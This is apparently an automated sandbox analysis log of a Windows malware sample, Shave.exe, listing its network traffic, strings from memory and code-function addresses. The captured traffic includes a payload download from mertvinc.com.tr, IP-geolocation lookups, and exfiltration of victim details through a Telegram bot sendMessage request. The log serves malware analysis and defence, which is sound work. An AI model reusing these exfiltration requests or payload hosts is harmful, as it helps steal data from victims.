Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2026/11/2024%20/%2019:05:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oxzGOftLtQcGlWZ214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: mertvinc.com.tr
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.cipmach.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Mon, 25 Nov 2024 06:09:27 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: Shave.exe, 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Shave.exe, 00000003.00000002.3299164468.00000000352A4000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035283000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003529A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.cipmach.com
Source: Shave.exe, 00000003.00000002.3280053840.00000000066D0000.00000004.00001000.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3279604982.0000000004BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin
Source: Shave.exe, 00000003.00000002.3279604982.0000000004BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin6
Source: Shave.exe, 00000003.00000002.3279604982.0000000004B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.binQ
Source: Shave.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Shave.exe, 00000003.00000002.3299164468.00000000352F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: Shave.exe, 00000003.00000002.3299164468.00000000352EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003517D000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.00000000351ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Shave.exe, 00000003.00000002.3299164468.000000003517D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: Shave.exe, 00000003.00000002.3299164468.00000000351ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75
Source: Shave.exe, 00000003.00000002.3299164468.00000000351A8000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.00000000351ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.75$
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Shave.exe, 00000003.00000002.3299164468.0000000035322000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035238000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035313000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: Shave.exe, 00000003.00000002.3299164468.000000003531D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49865 version: TLS 1.2

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_0040543E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040543E

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_0040336C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040336C

Source: C:\Users\user\Desktop\Shave.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_00404C7B	0_2_00404C7B
Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_6F971B63	0_2_6F971B63
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00404C7B	3_2_00404C7B
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015C19B	3_2_0015C19B
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015D278	3_2_0015D278
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00155362	3_2_00155362
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015C468	3_2_0015C468
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015C738	3_2_0015C738
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015E988	3_2_0015E988
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_001569A0	3_2_001569A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_001529E0	3_2_001529E0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015CA08	3_2_0015CA08
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015CCD8	3_2_0015CCD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00159DE0	3_2_00159DE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015CFAC	3_2_0015CFAC
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00156FC8	3_2_00156FC8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015F974	3_2_0015F974
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_0015E97C	3_2_0015E97C
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00153E09	3_2_00153E09
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B081D0	3_2_04B081D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E9D8	3_2_04B0E9D8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B08FB0	3_2_04B08FB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B07B78	3_2_04B07B78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C0B7	3_2_04B0C0B7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B038B8	3_2_04B038B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E0B8	3_2_04B0E0B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E0A7	3_2_04B0E0A7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B00498	3_2_04B00498
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06488	3_2_04B06488
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B008F0	3_2_04B008F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C0C8	3_2_04B0C0C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06030	3_2_04B06030
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0BC38	3_2_04B0BC38
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0DC28	3_2_04B0DC28
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0BC2A	3_2_04B0BC2A
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0FC18	3_2_04B0FC18
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0DC19	3_2_04B0DC19
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B03007	3_2_04B03007
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B03008	3_2_04B03008
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06478	3_2_04B06478
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B03460	3_2_04B03460
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B03450	3_2_04B03450
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0345F	3_2_04B0345F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B00040	3_2_04B00040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B011A0	3_2_04B011A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01190	3_2_04B01190
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0119F	3_2_04B0119F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B015F7	3_2_04B015F7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B015F8	3_2_04B015F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C9E8	3_2_04B0C9E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B015E8	3_2_04B015E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C9D8	3_2_04B0C9D8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B081C0	3_2_04B081C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E9C8	3_2_04B0E9C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0A938	3_2_04B0A938
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E538	3_2_04B0E538
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0A928	3_2_04B0A928
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C558	3_2_04B0C558
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B00D48	3_2_04B00D48
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0E548	3_2_04B0E548
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0C548	3_2_04B0C548
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01EA7	3_2_04B01EA7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01EA8	3_2_04B01EA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01E98	3_2_04B01E98
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B022F0	3_2_04B022F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0D2F7	3_2_04B0D2F7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0F2F8	3_2_04B0F2F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B022FF	3_2_04B022FF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0F2E7	3_2_04B0F2E7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B04ED0	3_2_04B04ED0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B072C8	3_2_04B072C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B072CA	3_2_04B072CA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B04620	3_2_04B04620
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B04622	3_2_04B04622
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06A18	3_2_04B06A18
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06A07	3_2_04B06A07
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06E70	3_2_04B06E70
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B06E72	3_2_04B06E72
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B04A78	3_2_04B04A78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0CE78	3_2_04B0CE78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0CE67	3_2_04B0CE67
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0EE68	3_2_04B0EE68
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01A50	3_2_04B01A50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0EE57	3_2_04B0EE57
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01A41	3_2_04B01A41
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B01A4F	3_2_04B01A4F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02BB0	3_2_04B02BB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02BA0	3_2_04B02BA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B08FA1	3_2_04B08FA1
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0B7A8	3_2_04B0B7A8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02BAF	3_2_04B02BAF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0D798	3_2_04B0D798
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0B798	3_2_04B0B798
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B05780	3_2_04B05780
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0D787	3_2_04B0D787
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0F788	3_2_04B0F788
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02FF9	3_2_04B02FF9
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B05BD8	3_2_04B05BD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B05BCA	3_2_04B05BCA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B07720	3_2_04B07720
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B07722	3_2_04B07722
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B05328	3_2_04B05328
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0B318	3_2_04B0B318
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02300	3_2_04B02300
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0B307	3_2_04B0B307
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0D308	3_2_04B0D308
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B07B77	3_2_04B07B77
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B0F778	3_2_04B0F778
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B07B69	3_2_04B07B69
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02757	3_2_04B02757
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02758	3_2_04B02758
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B02749	3_2_04B02749
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36678	3_2_04B36678
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B35FD8	3_2_04B35FD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3FAB0	3_2_04B3FAB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B356B8	3_2_04B356B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B38CB8	3_2_04B38CB8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B336B8	3_2_04B336B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3E2B8	3_2_04B3E2B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B374BF	3_2_04B374BF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3A4A0	3_2_04B3A4A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3FAA0	3_2_04B3FAA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B38CA9	3_2_04B38CA9
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B356A8	3_2_04B356A8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3A498	3_2_04B3A498
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31280	3_2_04B31280
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B32488	3_2_04B32488
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3BC88	3_2_04B3BC88
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B348F7	3_2_04B348F7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3B2F8	3_2_04B3B2F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B316FF	3_2_04B316FF
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3CAE0	3_2_04B3CAE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3B2E8	3_2_04B3B2E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3CAD1	3_2_04B3CAD1
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B304D0	3_2_04B304D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B374D0	3_2_04B374D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B304C0	3_2_04B304C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B336C8	3_2_04B336C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3E2C8	3_2_04B3E2C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3AE30	3_2_04B3AE30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39637	3_2_04B39637
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B33238	3_2_04B33238
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B35228	3_2_04B35228
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3322E	3_2_04B3322E
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3C612	3_2_04B3C612
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3C618	3_2_04B3C618
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3AE1F	3_2_04B3AE1F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3521C	3_2_04B3521C
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3DE00	3_2_04B3DE00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30006	3_2_04B30006
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36609	3_2_04B36609
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B37008	3_2_04B37008
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3D470	3_2_04B3D470
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31270	3_2_04B31270
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B34478	3_2_04B34478
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B32478	3_2_04B32478
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3BC78	3_2_04B3BC78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B37E60	3_2_04B37E60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3D460	3_2_04B3D460
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B34468	3_2_04B34468
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B36668	3_2_04B36668
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B37E50	3_2_04B37E50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3EC58	3_2_04B3EC58
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B30040	3_2_04B30040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3EC4A	3_2_04B3EC4A
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B39648	3_2_04B39648
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B31BA0	3_2_04B31BA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3CFA6	3_2_04B3CFA6
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B32DA8	3_2_04B32DA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3CFA8	3_2_04B3CFA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_04B3B7AF	3_2_04B3B7AF
